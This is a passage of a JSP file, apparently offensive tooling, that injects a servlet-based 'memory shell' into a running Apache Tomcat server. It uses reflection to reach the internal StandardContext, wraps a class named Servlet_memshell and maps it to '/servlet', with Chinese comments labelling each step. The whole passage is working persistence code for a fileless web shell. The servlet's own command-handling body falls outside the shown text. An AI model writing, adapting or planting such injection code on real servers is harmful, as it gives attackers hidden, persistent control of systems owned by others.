public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>
<%
// 获得StandardContext
Field reqF=request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardCcontext = (StandardContext) req.getContext();
// 创建Wrapper
Servlet_memshell servlet_memshell = new Servlet_memshell();
Wrapper wrapper = standardCcontext.createWrapper();
String name = servlet_memshell.getClass().getSimpleName();
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet_memshell);
wrapper.setServletClass(servlet_memshell.getClass().getName());
// 将Wrapper添加到StandardContext
standardCcontext.addChild(wrapper);
standardCcontext.addServletMappingDecoded("/servlet",name);
%>